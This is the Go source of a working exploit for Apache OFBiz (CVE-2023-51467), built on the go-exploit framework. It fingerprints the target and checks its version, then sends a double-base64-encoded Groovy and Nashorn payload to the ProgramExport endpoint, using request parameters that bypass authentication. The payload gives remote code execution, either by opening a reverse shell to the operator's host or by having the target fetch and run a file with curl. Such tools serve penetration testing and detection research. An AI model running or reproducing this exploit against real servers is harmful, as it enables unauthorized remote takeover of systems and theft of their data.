cve-2023-51467.go

package main

import (
	b64 "encoding/base64"
	"fmt"
	"net"
	"regexp"
	"strconv"
	"strings"

	"github.com/vulncheck-oss/go-exploit"
	"github.com/vulncheck-oss/go-exploit/c2"
	"github.com/vulncheck-oss/go-exploit/c2/httpservefile"
	"github.com/vulncheck-oss/go-exploit/config"
	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/payload/dropper"
	"github.com/vulncheck-oss/go-exploit/payload/reverse"
	"github.com/vulncheck-oss/go-exploit/protocol"
	"github.com/vulncheck-oss/go-exploit/random"
)

type OFBizXML struct{}

// Newer OFBiz requires the `host` field contain a hostname and not an IP address.
// If the user provides a hostname using `rhost` we will use that, otherwise
// we'll use this variable which is defaulted to `localhost` - the user can
// alter it on the command line.
var globalHostname string

func (sploit OFBizXML) ValidateTarget(conf *config.Config) bool {
	// We need to fix up the host field to be non-ip
	hostname := globalHostname
	if net.ParseIP(conf.Rhost) == nil {
		hostname = conf.Rhost
	}
	headers := map[string]string{
		"Host": fmt.Sprintf("%s:%d", hostname, conf.Rport),
	}
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
	resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers)
	if !ok {
		return false
	}

	cookies, ok := resp.Header["Set-Cookie"]
	if ok {
		for _, value := range cookies {
			if strings.Contains(value, "OFBiz.Vistior=") {
				return true
			}
		}
	}

	return strings.Contains(body, "Begin Screen component://") && strings.Contains(body, "Begin Template component://")
}

func (sploit OFBizXML) CheckVersion(conf *config.Config) exploit.VersionCheckType {
	// We need to fix up the host field to be non-ip
	hostname := globalHostname
	if net.ParseIP(conf.Rhost) == nil {
		hostname = conf.Rhost
	}
	headers := map[string]string{
		"Host": fmt.Sprintf("%s:%d", hostname, conf.Rport),
	}
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/webtools/control/main")
	resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers)
	if !ok {
		return exploit.Unknown
	}
	if resp.StatusCode != 200 {
		return exploit.Unknown
	}

	if !strings.Contains(body, "Release") {
		output.PrintfError("Target doesn't have the release version.")

		return exploit.PossiblyVulnerable
	}

	re := regexp.MustCompile(`Release\s*(\d+\.\d+\.?\d*)\s*</span>`)
	res := re.FindAllStringSubmatch(body, -1)
	if len(res) == 0 {
		output.PrintError("Failed to extract the target's version")

		return exploit.Unknown
	}
	exploit.StoreVersion(conf, res[0][1])

	versionArray := strings.Split(res[0][1], ".")
	if len(versionArray) < 2 {
		output.PrintError("Unexpected version number")

		return exploit.Unknown
	}

	major, _ := strconv.Atoi(versionArray[0])
	minor, _ := strconv.Atoi(versionArray[1])
	point := 0
	if len(versionArray[0]) == 3 {
		point, _ = strconv.Atoi(versionArray[2])
	}

	if major < 18 {
		return exploit.Vulnerable
	}
	if major == 18 {
		if minor < 12 {
			return exploit.Vulnerable
		}
		if minor == 12 {
			if len(versionArray) == 2 {
				return exploit.PossiblyVulnerable
			}
			if point < 10 {
				return exploit.Vulnerable
			}
		}
	}

	return exploit.NotVulnerable
}

func generatePayload(conf *config.Config) (string, bool) {
	generated := ""

	switch conf.ResolveC2Payload() {
	case c2.SSLShellServer:
		output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
		generated = reverse.JJS.Default(conf.Lhost, conf.Lport, true)
	case c2.SimpleShellServer:
		output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
		generated = reverse.JJS.Default(conf.Lhost, conf.Lport, false)
	case c2.HTTPServeFile:
		output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport)
		curlCommand := dropper.Unix.CurlHTTP(conf.Lhost, conf.Lport,
			httpservefile.GetInstance().TLS,
			httpservefile.GetInstance().GetRandomName(""))
		generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand)
	default:
		output.PrintError("Invalid payload")

		return generated, false
	}

	generated = b64.StdEncoding.EncodeToString([]byte(generated))

	return generated, true
}

func (sploit OFBizXML) RunExploit(conf *config.Config) bool {
	generatedShell, ok := generatePayload(conf)
	if !ok {
		return false
	}

	// generate the payload that ofbiz will execute. There are a whole bunch of keywords we need to work around
	// so we settled on double base64 to land in our os agnositic nashorn reverse shell.
	//
	// https://github.com/apache/ofbiz-framework/blob/9bd538be3eef75eba33ae1c40e88ba7f90b2bdce/framework/security/config/security.properties#L274
	// https://github.com/apache/ofbiz-framework/blob/9bd538be3eef75eba33ae1c40e88ba7f90b2bdce/framework/security/src/test/java/org/apache/ofbiz/security/SecurityUtilTest.java#L60
	nashorn := fmt.Sprintf(`import javax.script.*;

	ScriptEngineManager factory = new ScriptEngineManager();
	ScriptEngine engine = factory.getEngineByName("nashorn");
	try {
		engine.eval(new java.lang.String(java.util.Base64.decoder.decode("%s")));
	} catch (final ScriptException se) { se.printStackTrace(); }`, generatedShell)
	groovyPayload := fmt.Sprintf(`groovyProgram=x="'%s'.de";Eval.me(new String(Eval.me("${x}codeBase64()")));`, b64.StdEncoding.EncodeToString([]byte(nashorn)))

	// We need to fix up the host field to be non-ip
	hostname := globalHostname
	if net.ParseIP(conf.Rhost) == nil {
		hostname = conf.Rhost
	}
	headers := map[string]string{
		"Content-Type": "application/x-www-form-urlencoded",
		"Host":         fmt.Sprintf("%s:%d", hostname, conf.Rport),
	}
	params := fmt.Sprintf(`?requirePasswordChange=Y&PASSWORD=%s&USERNAME=%s`, random.RandLetters(8), random.RandLetters(8))
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/webtools/control/ProgramExport/")
	output.PrintfStatus("Throwing exploit at %s", url)
	resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url+params, groovyPayload, headers)
	if !ok {
		// Assume that we triggered the timeout
		return true
	}
	if resp.StatusCode != 200 {
		output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)

		return false
	}

	if conf.C2Type == c2.HTTPServeFile {
		// success is hard to determine from this vantage point.
		return len(body) != 0
	}

	return len(body) == 0
}

func main() {
	supportedC2 := []c2.Impl{
		c2.SSLShellServer,
		c2.SimpleShellServer,
		c2.HTTPServeFile,
		c2.ShellTunnel,
	}
	conf := config.NewRemoteExploit(
		config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
		config.CodeExecution, supportedC2, "Apache", []string{"OFBiz"},
		[]string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2023-51467", "HTTP", 80)

	conf.CreateStringVarFlag(&globalHostname, "hostname", "localhost", "Hostname to use if not provided using rhost (default to rhost value or localhost)")

	sploit := OFBizXML{}
	exploit.RunProgram(sploit, conf)
}